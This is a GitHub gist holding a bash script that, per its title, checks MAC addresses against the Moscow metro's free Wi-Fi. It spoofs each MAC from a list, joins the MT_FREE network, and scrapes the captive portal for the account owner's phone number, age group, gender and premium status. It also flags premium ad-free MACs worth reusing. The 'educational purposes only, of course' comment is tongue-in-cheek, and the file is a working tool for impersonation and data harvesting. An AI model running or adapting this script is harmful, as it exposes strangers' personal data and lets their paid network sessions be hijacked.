Skip to content

Instantly share code, notes, and snippets.

@cab404
Last active April 3, 2018 07:05
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save cab404/16872329f727dcae298027b3eb734f0e to your computer and use it in GitHub Desktop.
Save cab404/16872329f727dcae298027b3eb734f0e to your computer and use it in GitHub Desktop.
MAC address checker for moscow metro
#!/bin/bash
# script for finding userdata from a list of macs.
# for educational purposes only, of course.
INPUT=$1
SSID=MT_FREE
DEV=${2:-wlp1s0}
OUTDIR=check-`date +%d-%m-%yT%H:%M:%S`
function jsonf() { python -c 'import json; json.dump(json.load(open("/dev/stdin", "r")), open("/dev/stdout", "w"), indent=2)'; echo; }
function progress() { echo -ne "\033[K"$1"\033["${#1}"D"; }
function status() { echo -e "\033[K$1"; }
function parse_userdata() {
grep userData | grep -oP '(?<=JSON.parse\(\").*?(?=\")' | sed 's/\\&quot;/"/g' | jsonf
}
function current_userdata() {
rm .ck 2> /dev/null
curl --retry 3 -s -b .ck -c .ck 'https://auth.wi-fi.ru/auth?segment=metro' > /dev/null 2>&1
curl --retry 3 -s -b .ck -c .ck 'https://auth.wi-fi.ru/auth?segment=metro' 2>/dev/null > userdata.html
cat userdata.html | parse_userdata \
;
rm .ck
}
function oui() {
MAC=$1
if [ -e /var/lib/ieee-data/oui.txt ]; then
OUIMAC=${MAC//:}
OUIMAC=${OUIMAC[@]:0:6}
MACINFO=`grep $OUIMAC /var/lib/ieee-data/oui.txt`
# getting naame (it's always 22 symbols away from the start)
MACINFO=${MACINFO[@]:22}
# removing \r on the end
echo -n ${MACINFO[@]:0:-1}
fi
}
[ "$1" == "get-userdata" ] && { current_userdata; exit 0; }
[ "$1" == "parse-userdata" ] && { parse_userdata; exit 0; }
! sudo -p "we require sweet root juices to run, please let us in: " echo -n && exit 1
[ ! -e $INPUT ] && { echo 'no input'; exit 1; }
[ -z $SSID ] && { echo 'no connection'; exit 1; }
tput civis
function on_exit() {
tput cnorm
echo "turning wifi back on"
nmcli dev set $DEV managed true
nmcli dev set $DEV autoconnect true
}
trap on_exit EXIT
mkdir $OUTDIR
echo "turning wifi on $DEV off for nmcli for now"
# turning it off in nmcli
nmcli dev set $DEV managed false >/dev/null 2>&1
nmcli dev set $DEV autoconnect false >/dev/null 2>&1
for MAC in $(cat $INPUT); do
echo -en "\033[2m"$MAC"\033[0m"' : '
progress "switching..."
sudo iw dev $DEV disconnect 2>/dev/null
sudo ip link set $DEV down
if ! sudo ip link set $DEV address $MAC > /dev/null 2>&1; then
status "failed to set mac?"
echo $MAC >> $OUTDIR/not-macs.txt
continue
fi
sudo ip link set $DEV up
progress "connecting..."
CON_SUCCESS=
for try in {1..3}; do
progress "try $try..."
if sudo iw dev $DEV connect -w $SSID | grep connected >/dev/null 2>&1 ; then
CON_SUCCESS=1
break
fi
done
if ! [ $CON_SUCCESS ]; then
status "failed to connect to wi-fi"
echo $MAC >> $OUTDIR/no-assoc-macs.txt
continue
fi
progress "getting ip..."
if ! sudo dhclient -1 $DEV; then
status "DHCP failed"
echo $MAC >> $OUTDIR/no-ip-macs.txt
continue
fi
progress "userdata..."
USERDATA=$OUTDIR/$MAC-userdata.txt
current_userdata 2>/dev/null > $USERDATA
if [ -s $USERDATA ]; then
AGE=`cat $USERDATA | grep -Po '(?<=age\"\ \:\ \").*?(?=\")'`
PHONE=`cat $USERDATA | grep -Po '(?<=msisdn\"\ \:\ \").*?(?=\")'`
PREMIUM=`cat $USERDATA | grep -Po '(?<=premium\"\ \:\ )\w*'`
GENDER=`cat $USERDATA | grep -Po '(?<=gender\"\ \:\ \").*?(?=\")'`
OUI=`oui $MAC`
# just adding some more highlight to that sweet mark of ad-free wifi mac goodness
if [ ! -z $PREMIUM ] && [ $PREMIUM == true ]; then
PREMIUM="\033[32;1mtrue\033[0;36m"
echo $MAC >> $OUTDIR/good-macs.txt
fi
status "got userdata \033[36m{ msisdn: ${PHONE}, age group ${AGE}, gender: ${GENDER}, premium: ${PREMIUM}, vendor: $OUI }\033[0m "
else
status "no userdata"
rm $USERDATA
echo $MAC >> $OUTDIR/no-reg-macs.txt
fi
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment